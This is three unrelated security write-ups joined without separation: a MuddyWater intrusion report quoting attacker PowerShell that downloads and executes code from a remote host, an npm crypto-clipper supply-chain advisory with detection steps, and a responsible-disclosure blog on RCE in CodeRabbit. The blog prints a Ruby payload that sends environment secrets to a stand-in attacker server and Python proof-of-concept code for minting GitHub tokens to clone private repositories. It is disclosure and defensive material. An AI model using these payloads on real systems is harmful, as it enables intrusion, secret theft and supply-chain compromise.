MuddyWater is a state-sponsored adversary attributed to the Islamic Republic of Iran, assessed with high confidence by multiple cybersecurity organizations and government agencies. Active since at least 2017, the group is known for conducting espionage-driven intrusions primarily targeting organizations across the Middle East, South Asia, Europe, and North America.
The group is tracked under various aliases by different threat intelligence vendors: Static Kitten (CrowdStrike), Seedworm (Symantec / Broadcom) or also Mercury (Microsoft).
The adversary group is known to rely on two techniques for initial access: the exploitation of internet-exposed assets and spear-phishing campaigns.
Historically, MuddyWater has been observed exploiting vulnerabilities in Microsoft Exchange and SharePoint servers to gain direct access to internal environments.
In more recent activity, the group relied on ClickFix phishing campaign, as documented by Fortinet, which leveraged malicious PowerShell payloads embedded in phishing lures to initiate multi-stage attack chains.
During the investigation, forensic evidence confirmed that the initial compromise was achieved through the exploitation of the ToolShell vulnerability in Microsoft SharePoint (CVE-2025-53770). The affected SharePoint instance was accessible from the internet and running a vulnerable version at the time of the intrusion.
The adversary leveraged this vulnerability to gain unauthorized access and executed arbitrary commands on the underlying system. Initially, they exploited the vulnerability to try downloading a PowerShell RAT. When this failed, they continued to exploit the vulnerability for code execution and dropped file-management webshells. These webshells enabled them with upload, download and delete capabilities on filesystem.



ping -n 2 -a <REDACTED> > ping_dc.txt
whoami
quser
Test-NetConnection <REDACTED> -Port 445
netstat -nt
powershell.exe -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -EncodedCommand <ENCODEDCOMMAND1>
powershell.exe -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -EncodedCommand <ENCODEDCOMMAND2>The base64 strings are decoded to:
arvpxsmy;$arvpxsmy="arvpxsmy";Invoke-WebRequest -UseDefaultCredentials -UseBasicParsing -Uri hxxp://195[.]20.17.189:443//31133?hidemyself=<REDACTED> -OutFile c:\users\public\downloads\test.html
zphygwvbz;$zphygwvbz="zphygwvbz";$command = "(Invoke-WebRequest -UseDefaultCredentials -UseBasicParsing -Uri hxxp://195[.]20.17.189:443//35893?time=<REDACTED>).content | Invoke-Expression";saps powershell -Wind Hi -ArgumentList $command
A dump of the tunneling process revealed notable artifacts indicating that the adversary conducted an SMB sweep through the established proxy tunnel in an attempt to identify accessible internal hosts. This scan activity involved probing multiple IP addresses on the network over port 445 (SMB), likely to discover systems where administrative shares were exposed or lateral movement was possible.



Despite changes in tooling or infrastructure, MuddyWater/Static Kitten continues to rely on a well-established set of Tactics, Techniques, and Procedures (TTPs) observed globally across multiple campaigns. Their playbook still includes exploitation of public-facing applications, phishing, abuse of legitimate remote access tools and lateral movement using native Windows utilities.
A significant supply chain attack has compromised the NPM account of the developer known as qix, leading to the distribution of malicious versions of numerous widely used packages. This attack has affected packages with a combined weekly download count exceeding 2-3 billion, posing a substantial threat to the JavaScript ecosystem. The malicious code, identified as a crypto-clipper, is designed to intercept and manipulate cryptocurrency transactions by swapping wallet addresses and hijacking transactions.
The attack primarily targets the following NPM packages, which are widely used across various projects:
The GitHub code repositories for these packages were not affected; the attack was confined to the NPM registry.
1. Phishing Attack
[email protected]). This email was designed to trick the package maintainer into providing their credentials, including two-factor authentication (2FA) codes.2. Account Compromise
3. Malware Injection
index.js files of the compromised packages. This malware is a sophisticated browser-based interceptor that hooks into JavaScript functions like fetch, XMLHttpRequest, and wallet APIs (window.ethereum, Solana, etc.).4. Malware Functionality
5. Technical Implementation
window.ethereum to determine if a crypto wallet is being used, and if so, it hooks into the wallet's communication methods (request, send, sendAsync).1. Audit Dependencies: Developers should immediately audit their project's dependencies to identify and remove any compromised packages. This includes checking node_modules and package-lock.json for malicious code. As a direct method of detection, you can scan your node_modules directory for the malicious code using this command, which searches for a unique string found in the payload: grep -r "const _0x112" node_modules/
2. Pin Safe Versions: Use the overrides feature in package.json to pin affected packages to their last known-safe versions. For example:
{
"name": "your-project",
"version": "1.0.0",
"overrides": {
"chalk": "5.3.0",
"strip-ansi": "7.1.0",
"color-convert": "2.0.1",
"color-name": "1.1.4",
"error-ex": "1.3.2",
"has-ansi": "5.0.1"
}3. Reinstall Dependencies: Delete node_modules and package-lock.json, then run npm install to generate a new, clean lockfile.
4. Verify Transactions: Users should meticulously verify all cryptocurrency transactions to ensure the recipient addresses are correct. See this GitHub Gist for a list of all wallets.
5. Monitor for Indicators of Compromise: Check for the presence of the function checkethereumw in your codebase as an indicator of compromise.
In this blog post, we explain how we got remote code execution (RCE) on CodeRabbit’s production servers, leaked their API tokens and secrets, how we could have accessed their PostgreSQL database, and how we obtained read and write access to 1 million code repositories, including private ones.
This blog post is a detailed write-up of one of the vulnerabilities we disclosed at Black Hat USA this year. The details provided in this post are meant to demonstrate how these security issues can manifest and be exploited in the hopes that others can avoid similar issues. This is not meant to shame any particular vendor; it happens to everyone. Security is a process, and avoiding vulnerabilities takes constant vigilance.
Note: The security issues documented in this post were quickly remediated in January of 2025. We appreciate CodeRabbit’s swift action after we reported this security vulnerability. They reported to us that within hours, they addressed the issue and strengthened their overall security measures responding with the following:
More information from CodeRabbit on their response can be found here: https://www.coderabbit.ai/blog/our-response-to-the-january-2025-kudelski-security-vulnerability-disclosure-action-and-continuous-improvement
Last December, I spoke at 38C3 in Hamburg and covered 2 security flaws I discovered in Qodo Merge. After getting off the stage, someone came to me and asked whether I had looked at other AI code review tools, such as CodeRabbit. I thanked them and said this would be a great target to have a look at. Fast forward a couple of weeks, and here I am, having a look at their security.

CodeRabbit is an AI code review tool. Their website mentions it’s the most installed AI app on GitHub & Gitlab, with 1 million repositories in review and 5 million pull requests reviewed.

Indeed, the application is the most installed GitHub app in the AI Assisted category on GitHub Marketplace. It is also on the first page of the most installed GitHub apps overall across all categories on GitHub Marketplace.

Once CodeRabbit is installed on a repository, every time a new pull request (PR) is created or updated, the application will analyze the code changes in the PR and review them using AI. CodeRabbit will finally post its code review as a comment on the pull request, where the developer can read it.
This is a very useful developer productivity tool that can summarize PRs, find security issues in the code, suggest code improvements or even document the code or illustrate it by generating diagrams. It can save developers a lot of time.
There are multiple pricing plans, and one of them is called Pro. That one includes support for linters and SAST tools, such as Semgrep. Alternatively, there’s a free 14-day trial for the Pro plan. Also, the Pro plan comes for free for people working on open source projects.

I registered for the free trial and logged in using my GitHub account.

When first logging into CodeRabbit using GitHub, the application asks to install and authorize on a personal GitHub account. The user is asked to select which repositories the application should be installed to. The user can also review the permissions that the CodeRabbit GitHub app will be granted. Namely, read and write access to code in the selected repositories.

At this point, this sounded very similar to what happened with Qodo Merge. I had to look into it. If somehow we could leak the GitHub API token, we would get read and write access to the repository in which CodeRabbit was installed.
I immediately created a private GitHub repository on my personal GitHub account and granted the application access to that new repository so that it starts reviewing my PRs on that repo.
In order to get more familiar with the features and how to use them, I created a PR and saw that a comment containing a code review was posted by the CodeRabbit bot. Here are a few screenshots of what it generated.



Now that I had a better idea of how it worked, I could start looking for vulnerabilities.
I had a look at the official documentation and noticed that CodeRabbit supported running dozens of static analysis tools. These are the linters and SAST tools mentioned on the pricing page discussed above.
The application runs these tools on your PR changes depending on a few conditions:
.php extensionSome tools are enabled by default and will run if corresponding files exist. Otherwise, a .coderabbit.yaml file placed in the repository can be used to configure which tools should be enabled. Alternatively, the CodeRabbit web app settings can be used to configure tools.
The documentation page also states that each tool can be configured by providing a path to a configuration file read by the tool. Now we’re talking!
Since CodeRabbit executes these external tools, if any of these tools have a way to inject code, we may be able to run arbitrary code. So I glanced over the list of supported tools and found an interesting target: Rubocop, a Ruby static analyzer. The CodeRabbit documentation page for Rubocop states that Rubocop will run on Ruby files (.rb) in the repository. It also says that CodeRabbit will look for a .rubocop.yml file anywhere in the repository and pass it to Rubocop.


Looking at Rubocop’s documentation, we see that it supports extensions. One can use the Rubocop configuration file to specify the path to an extension Ruby file, for example, ext.rb, which will be loaded and executed by Rubocop. To do so, one can include the following snippet in .rubocop.yml:
require:
- ./ext.rbIn ext.rb, we can write arbitrary Ruby code that will be loaded and executed when Rubocop runs. We’ll use 1.2.3.4 as an example IP address that stands in for an attacker-controlled system. For example, the following Ruby script will collect the environment variables and send them to an attacker-controlled server at 1.2.3.4:
require 'net/http'
require 'uri'
require 'json'
# Collect environment variables
env_vars = ENV.to_h
# Convert environment variables to JSON format
json_data = env_vars.to_json
# Define the URL to send the HTTP POST request
url = URI.parse('http://1.2.3.4/')
begin
# Create the HTTP POST request
http = Net::HTTP.new(url.host, url.port)
request = Net::HTTP::Post.new(url.path)
request['Content-Type'] = 'application/json'
request.body = json_data
# Send the request
response = http.request(request)
rescue StandardError => e
puts "An error occurred: #{e.message}"
endExploiting this is as simple as following these steps:
.rubocop.yml file as shown aboveext.rb file as shown aboveHere’s an illustration of our malicious pull request to better understand how it works:

An illustration of what the malicious pull request looks like
After we created our malicious PR, CodeRabbit ran Rubocop on our code, which executed our malicious code and sent its environment variables to our server at 1.2.3.4.
On the server at 1.2.3.4, the following JSON payload containing environment variables was received:
{
"ANTHROPIC_API_KEYS": "sk-ant-api03-(CENSORED)",
"ANTHROPIC_API_KEYS_FREE": "sk-ant-api03-(CENSORED)",
"ANTHROPIC_API_KEYS_OSS": "sk-ant-api03-(CENSORED)",
"ANTHROPIC_API_KEYS_PAID": "sk-ant-api03-(CENSORED)",
"ANTHROPIC_API_KEYS_TRIAL": "sk-ant-api03-(CENSORED)",
"APERTURE_AGENT_ADDRESS": "(CENSORED)",
"APERTURE_AGENT_KEY": "(CENSORED)",
"AST_GREP_ESSENTIALS": "ast-grep-essentials",
"AST_GREP_RULES_PATH": "/home/jailuser/ast-grep-rules",
"AWS_ACCESS_KEY_ID": "",
"AWS_REGION": "",
"AWS_SECRET_ACCESS_KEY": "",
"AZURE_GPT4OMINI_DEPLOYMENT_NAME": "",
"AZURE_GPT4O_DEPLOYMENT_NAME": "",
"AZURE_GPT4TURBO_DEPLOYMENT_NAME": "",
"AZURE_O1MINI_DEPLOYMENT_NAME": "",
"AZURE_O1_DEPLOYMENT_NAME": "",
"AZURE_OPENAI_API_KEY": "",
"AZURE_OPENAI_ENDPOINT": "",
"AZURE_OPENAI_ORG_ID": "",
"AZURE_OPENAI_PROJECT_ID": "",
"BITBUCKET_SERVER_BOT_TOKEN": "",
"BITBUCKET_SERVER_BOT_USERNAME": "",
"BITBUCKET_SERVER_URL": "",
"BITBUCKET_SERVER_WEBHOOK_SECRET": "",
"BUNDLER_ORIG_BUNDLER_VERSION": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_BUNDLE_BIN_PATH": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_BUNDLE_GEMFILE": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_GEM_HOME": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_GEM_PATH": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_MANPATH": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_PATH": "/pnpm:/usr/local/go/bin:/root/.local/bin:/swift/usr/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"BUNDLER_ORIG_RB_USER_INSTALL": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_RUBYLIB": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_RUBYOPT": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"CI": "true",
"CLOUD_API_URL": "https://(CENSORED)",
"CLOUD_RUN_TIMEOUT_SECONDS": "3600",
"CODEBASE_VERIFICATION": "true",
"CODERABBIT_API_KEY": "",
"CODERABBIT_API_URL": "https://(CENSORED)",
"COURIER_NOTIFICATION_AUTH_TOKEN": "(CENSORED)",
"COURIER_NOTIFICATION_ID": "(CENSORED)",
"DB_API_URL": " https://(CENSORED)",
"ENABLE_APERTURE": "true",
"ENABLE_DOCSTRINGS": "true",
"ENABLE_EVAL": "false",
"ENABLE_LEARNINGS": "",
"ENABLE_METRICS": "",
"ENCRYPTION_PASSWORD": "(CENSORED)",
"ENCRYPTION_SALT": "(CENSORED)",
"FIREBASE_DB_ID": "",
"FREE_UPGRADE_UNTIL": "2025-01-15",
"GH_WEBHOOK_SECRET": "(CENSORED)",
"GITHUB_APP_CLIENT_ID": "(CENSORED)",
"GITHUB_APP_CLIENT_SECRET": "(CENSORED)",
"GITHUB_APP_ID": "(CENSORED)",
"GITHUB_APP_NAME": "coderabbitai",
"GITHUB_APP_PEM_FILE": "-----BEGIN RSA PRIVATE KEY-----\n(CENSORED)-\n-----END RSA PRIVATE KEY-----\n",
"GITHUB_CONCURRENCY": "8",
"GITHUB_ENV": "",
"GITHUB_EVENT_NAME": "",
"GITHUB_TOKEN": "",
"GITLAB_BOT_TOKEN": "(CENSORED)",
"GITLAB_CONCURRENCY": "8",
"GITLAB_WEBHOOK_SECRET": "",
"HOME": "/root",
"ISSUE_PROCESSING_BATCH_SIZE": "30",
"ISSUE_PROCESSING_START_DATE": "2023-06-01",
"JAILUSER": "jailuser",
"JAILUSER_HOME_PATH": "/home/jailuser",
"JIRA_APP_ID": "(CENSORED)",
"JIRA_APP_SECRET": "(CENSORED)",
"JIRA_CLIENT_ID": "(CENSORED)",
"JIRA_DEV_CLIENT_ID": "(CENSORED)",
"JIRA_DEV_SECRET": "(CENSORED)",
"JIRA_HOST": "",
"JIRA_PAT": "",
"JIRA_SECRET": "(CENSORED)",
"JIRA_TOKEN_URL": "https://auth.atlassian.com/oauth/token",
"K_CONFIGURATION": "pr-reviewer-saas",
"K_REVISION": "pr-reviewer-saas-(CENSORED)",
"K_SERVICE": "pr-reviewer-saas",
"LANGCHAIN_API_KEY": "(CENSORED)",
"LANGCHAIN_PROJECT": "default",
"LANGCHAIN_TRACING_SAMPLING_RATE_CR": "50",
"LANGCHAIN_TRACING_V2": "true",
"LANGUAGETOOL_API_KEY": "(CENSORED)",
"LANGUAGETOOL_USERNAME": "(CENSORED)",
"LD_LIBRARY_PATH": "/usr/local/lib:/usr/lib:/lib:/usr/libexec/swift/5.10.1/usr/lib",
"LINEAR_PAT": "",
"LLM_PROVIDER": "",
"LLM_TIMEOUT": "300000",
"LOCAL": "false",
"NODE_ENV": "production",
"NODE_VERSION": "22.9.0",
"NPM_CONFIG_REGISTRY": "http://(CENSORED)",
"OAUTH2_CLIENT_ID": "",
"OAUTH2_CLIENT_SECRET": "",
"OAUTH2_ENDPOINT": "",
"OPENAI_API_KEYS": "sk-proj-(CENSORED)",
"OPENAI_API_KEYS_FREE": "sk-proj-(CENSORED)",
"OPENAI_API_KEYS_OSS": "sk-proj-(CENSORED)",
"OPENAI_API_KEYS_PAID": "sk-proj-(CENSORED)",
"OPENAI_API_KEYS_TRIAL": "sk-proj-(CENSORED)",
"OPENAI_BASE_URL": "",
"OPENAI_ORG_ID": "",
"OPENAI_PROJECT_ID": "",
"PATH": "/pnpm:/usr/local/go/bin:/root/.local/bin:/swift/usr/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"PINECONE_API_KEY": "(CENSORED)",
"PINECONE_ENVIRONMENT": "us-central1-gcp",
"PNPM_HOME": "/pnpm",
"PORT": "8080",
"POSTGRESQL_DATABASE": "(CENSORED)",
"POSTGRESQL_HOST": "(CENSORED)",
"POSTGRESQL_PASSWORD": "(CENSORED)",
"POSTGRESQL_USER": "(CENSORED)",
"PWD": "/inmem/21/d277c149-9d6a-4dde-88cc-03f724b50e2d/home/jailuser/git",
"REVIEW_EVERYTHING": "false",
"ROOT_COLLECTION": "",
"SELF_HOSTED": "",
"SELF_HOSTED_KNOWLEDGE_BASE": "",
"SELF_HOSTED_KNOWLEDGE_BASE_BRANCH": "",
"SENTRY_DSN": "https://(CENSORED)",
"SERVICE_NAME": "pr-reviewer-saas",
"SHLVL": "0",
"TELEMETRY_COLLECTOR_URL": "https://(CENSORED)",
"TEMP_PATH": "/inmem",
"TINI_VERSION": "v0.19.0",
"TRPC_API_BASE_URL": "https://(CENSORED)",
"VECTOR_COLLECTION": "",
"YARN_VERSION": "1.22.22",
"_": "/usr/local/bin/rubocop"
}That payload contained so many secrets that it actually took me a few minutes to grasp what we had gotten access to. The environment variables contained, notably:
Leaking environment variables is one thing, but since we obtained remote code execution (RCE) on that server, there is even more that an attacker could have done. Indeed, they could connect to the Postgres database server on the internal network. They could perform destructive operations. They could likely obtain the source code of the CodeRabbit app itself which is potentially somewhere in the Docker container where the external tool runs.
Before exploring the leaked environment variables further, we performed a few minimal reconnaissance operations, such as listing a few directories and reading the contents of a couple files on the production system, just to confirm the impacts. But this process was not really efficient and we were not able to quickly confirm the presence of the original source code of the webapp there. However, the built application was there in the /app/pr-reviewer-saas/dist directory.
Additionally, since this was a production server, we didn’t want to do anything that could disrupt the service and decided to stop there.
But there was more. Let’s go back to the exfiltrated environment variables.
As mentioned above, one of the environment variables was named GITHUB_APP_PEM_FILE and its value contained a private key. This is actually the private key of the CodeRabbit GitHub app. This private key can be used to authenticate to the GitHub REST API and act on behalf of the CodeRabbit GitHub app. Since users have granted CodeRabbit write access to their repositories, this private key gives us write access to 1 million repositories!
Let’s go through a few operations that one can perform with this private key.
As of this writing, the CodeRabbit GitHub app was installed over 80’000 times. Basically, this tells us that at least that amount of GitHub personal accounts or organizations installed CodeRabbit and use it for at least one of their repositories. But these accounts may very well have granted access to more than one repository, or even all of their repositories.
The website states that they review 1M repositories. These include GitHub repositories, but likely also repositories from other platforms that CodeRabbit supports, such as Gitlab, and on-premises git providers.
We will see below (see Proof of concept) how one can programatically list GitHub app installations using the GitHub API.
For a given installation, one can list the GitHub repositories to which this installation has been granted access.
We can also see that the installation has read/write access to the code of the repository, among other permissions. For reference, this is the list of permissions the CodeRabbit app has on the repositories it has access to:
"permissions": {
"actions": "read",
"checks": "read",
"contents": "write",
"discussions": "read",
"issues": "write",
"members": "read",
"metadata": "read",
"pull_requests": "write",
"statuses": "write"
},Note that these permissions are public information that anyone can see here.
A GitHub API access token can be created for the CodeRabbit app installation. This access token has all the permissions listed above and can be used on all the repositories the app installation has access to. It can be used to, for example, clone the repository or push git commits to it, since we not only have read access but also write access to the contents. This can also be used to update GitHub releases, including the downloadable files (the assets), and replace them with malware and therefore serve malware directly from the targeted official GitHub repository.
The access token is valid for at most 10 minutes, but since we have the private key, more access tokens can be generated at any time, even if they expire.
But this gets even scarier. Generated access tokens can also be used to clone private repositories (!) that the user has granted CodeRabbit access to. Indeed, as long as the user has granted CodeRabbit access to a repository, the private key can be used to access it. It doesn’t matter if it’s public or private.
Therefore, a malicious person could exploit the vulnerability to leak the CodeRabbit GitHub app private key, list all the installations, list each repository, generate an access token for each repository, and clone private repositories, serve malware from public repositories or manipulate the git history of a repository. This could be used to perform lateral movement and potentially leak GitHub repository secrets of the GitHub repository through GitHub actions if the targeted repository contains vulnerable GitHub actions.
Here’s an example of how this can be achieved using the PyGitHub Python library, assuming that the private key is stored in a file called priv.pem and that we have the app ID and client ID (also leaked from the environment variables):
#!/usr/bin/env python3
import json
import time
import jwt
import requests
from github import Auth, GithubIntegration
with open("priv.pem", "r") as f:
signing_key = f.read()
app_id = "TODO_insert_app_id_here"
client_id = "Iv1.TODO_insert_client_id_here"
def gen_jwt():
payload = {
# Issued at time
'iat': int(time.time() - 60),
# JWT expiration time (10 minutes maximum)
'exp': int(time.time()) + 600 - 60,
# GitHub App's client ID
'iss': client_id
}
# Create JWT
encoded_jwt = jwt.encode(payload, signing_key, algorithm="RS256")
return encoded_jwt
def create_access_token(install_id, jwt):
response = requests.post(
f"https://api.github.com/app/installations/{install_id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt}",
"X-GitHub-Api-Version": "2022-11-28",
}
)
j = response.json()
access_token = j["token"]
return access_token
def auth():
auth = Auth.AppAuth(app_id, signing_key)
gi = GithubIntegration(auth=auth)
app = gi.get_app()
# iterate through app installations, get the first 5
for installation in gi.get_installations().reversed[:5]:
install_id = installation.id
# or access an installation by its ID directly
installation = gi.get_app_installation(install_id)
jwt = gen_jwt()
create_access_token(install_id, jwt)
# get all github repositories this installation has access to
repos = installation.get_repos()
for repo in repos:
full_name = repo.full_name
stars = repo.stargazers_count
html_url = repo.html_url
is_private_repo = repo.private
clone_url = f"https://x-access-token:{access_token}@github.com/{full_name}.git"
print(clone_url)
# repo can be cloned with "git clone {clone_url}"
# access token is valid for 10 minutes, but a new one can be generated whenever needed
if __name__ == "__main__":
auth()Obviously, iterating through the list of all GitHub installations would have required making thousands of requests to the GitHub API on behalf of the production CodeRabbit GitHub app and this may have exceeded the API quota. We didn’t want to risk disrupting the production service so we only iterated through a couple installations to confirm the PoC was working.
We mentioned earlier that we couldn’t confirm the presence of the original source code of the application on the production Docker container. Well, since CodeRabbit eats their own dog food, they run their application on their own GitHub repositories. We can therefore easily retrieve the app installation ID for their GitHub organization and list the repositories this app installation has access to.
This is the list of private repositories the coderabbitai GitHub organization has granted CodeRabbit access to:
To go further, one can generate an access token (as explained above) and clone these private repositories.
Here’s the PoC to do this. Note that it’s similar to the above, except that we directly retrieve the app installation for a specific GitHub organization by its name, instead of iterating through all the installations:
#!/usr/bin/env python3
import time
import jwt
import requests
from github import Auth, GithubIntegration
with open("priv.pem", "r") as f:
signing_key = f.read()
app_id = "CENSORED"
client_id = "CENSORED"
def gen_jwt():
payload = {
# Issued at time
'iat': int(time.time() - 60),
# JWT expiration time (10 minutes maximum)
'exp': int(time.time()) + 600 - 60,
# GitHub App's client ID
'iss': client_id
}
# Create JWT
encoded_jwt = jwt.encode(payload, signing_key, algorithm="RS256")
return encoded_jwt
def auth():
auth = Auth.AppAuth(app_id, signing_key)
gi = GithubIntegration(auth=auth)
# Target a specific Github organization that uses CodeRabbit
org = "coderabbitai"
installation = gi.get_org_installation(org)
# Target a specific Github user that uses CodeRabbit
# user = "amietn"
# installation = gi.get_user_installation(user)
print(installation.id)
gen_token = True
if gen_token:
jwt = gen_jwt()
response = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt}",
"X-GitHub-Api-Version": "2022-11-28",
}
)
j = response.json()
access_token = j["token"]
repos = installation.get_repos()
print("---repos---")
for repo in repos:
full_name = repo.full_name
html_url = repo.html_url
private = repo.private
if private:
print(f"* {full_name} ({private=}) - {html_url}")
if gen_token:
clone_url = f"https://x-access-token:{access_token}@github.com/{full_name}.git"
print(clone_url)
if __name__ == "__main__":
auth()In a similar way, a malicious person could target not only a specific GitHub organization but also a specific GitHub personal account that uses CodeRabbit and access their private repositories and/or modify them.
As you can see, one can directly obtain the app installation ID for an organization or a user. So, this way there is no need to iterate through all the GitHub app installations to find a specific GitHub user or organization. Only the organization or user’s name is required.
Let’s take a moment to summarize the impacts of getting write access to these 1 million repositories. A malicious person could have performed the following operations on affected repositories:
Additionally, we obtained RCE on the CodeRabbit production system. A malicious person could have performed destructive operations, caused a denial of service, or performed malicious operations on third party systems (see list of leaked secrets above).
While running the exploit, CodeRabbit would still review our pull request and post a comment on the GitHub PR saying that it detected a critical security risk, yet the application would happily execute our code because it wouldn’t understand that this was actually running on their production system.

CodeRabbit supports running dozens of external tools. These tools may get updates and new tools may be supported. Both cases may open the door to new ways of running arbitrary code. Therefore, trying to prevent arbitrary code execution through these tools sounds like an impossible task.
Instead, it would be best to assume that the user may be able to run untrusted code through these tools. So, running them in an isolated environment, with only the minimum information required to run the tools themselves, and not passing them any environment variables would be much better. Even if arbitrary code execution would be possible, the impact would be much less severe.
For defense in depth, one should add a mechanism that prevents sending private information to an attacker-controlled server. For example, only allow outgoing traffic to whitelisted hosts, if possible. If the tool doesn’t require internet access, then all network traffic may even be disabled in that isolated environment. This way it would make it harder for an attacker to exfiltrate secrets.
After responsibly disclosing this critical vulnerability to the CodeRabbit team, we learned from them that they had an isolation mechanism in place, but Rubocop somehow was not running inside it. The CodeRabbit team was extremely responsive and acknowledged receipt of the disclosure the same day. They immediately disabled Rubocop and rotated the secrets and started working on a fix. The next week they told us that the vulnerability had been fixed. Kudos to the CodeRabbit team for responding promptly and fixing the issue.
Here is a summary of the disclosure timeline:
In the end, we only provided PoCs and didn’t take things further. A patient attacker could have enumerated the available access, identified the highest value targets, and then attacked those targets to distribute malware to countless others in a larger supply chain attack. Security is hard, and a variety of factors can come together to create security issues. Being quick to respond and remediate, as the CodeRabbit team was, is a critical part of addressing vulnerabilities in modern, fast-moving environments. Other vendors we contacted never responded at all, and their products are still vulnerable.
In the race to bring AI-powered products to market, many companies prioritize speed over security. While rapid innovation is exciting, overlooking security can have catastrophic consequences, as we’ve seen. The solution isn’t to stop but to build security into the development process from day one. By making security a core priority, AI companies can create products that are not only groundbreaking but also resilient and responsible. After all, true innovation isn’t just about moving fast. It’s about building something resilient and safe for users.